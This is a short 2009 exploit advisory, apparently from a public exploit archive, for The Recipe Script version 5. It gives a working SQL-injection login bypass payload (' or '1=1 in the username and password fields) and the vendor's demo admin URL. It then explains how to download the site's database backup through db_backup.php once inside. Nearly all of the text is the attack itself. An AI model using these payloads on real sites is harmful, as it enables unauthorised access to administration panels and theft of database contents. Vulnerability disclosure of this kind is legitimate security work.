The Recipe Script 5 (Auth Bypass) SQL Injection / DB Backup Vulns

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : The Recipe Script 5 (Auth Bypass) SQL Injection / DB Backup Vulns
# Published : 2009-05-08
# Author : TiGeR-Dz
# Previous Title : microTopic v1 (rating) Remote Blind SQL Injection Exploit
# Next Title : Php Recommend <= 1.3 (AB/RFI/CI) Multiple Remote Vulnerabilities

-----------------------------------------------------
The Recipe Script version 5 (Auth Bypass) Remote Sql Injecion/ Database Backup Exploit
-----------------------------------------------------
Founder: TiGeR-Dz
script:The Recipe Script version 5
downlaod:http://recipescript.com/
-----------------------------------------------------------
-----------------------------------------------------------
(Auth Bypass) Remote Sql Injecion
--------------------------------
username:  ' or '1=1
Password:  ' or '1=1

demo:
-----
http://recipescript.com/demo/admin/index.php
------------------------------------------------------
Database Backup Exploit:
-------------------------
After login to administration panel to get Backup

http://recipescript.com/demo/admin/db_backup.php

--------------------------------------------------------

# www.Syue.com [2009-05-08]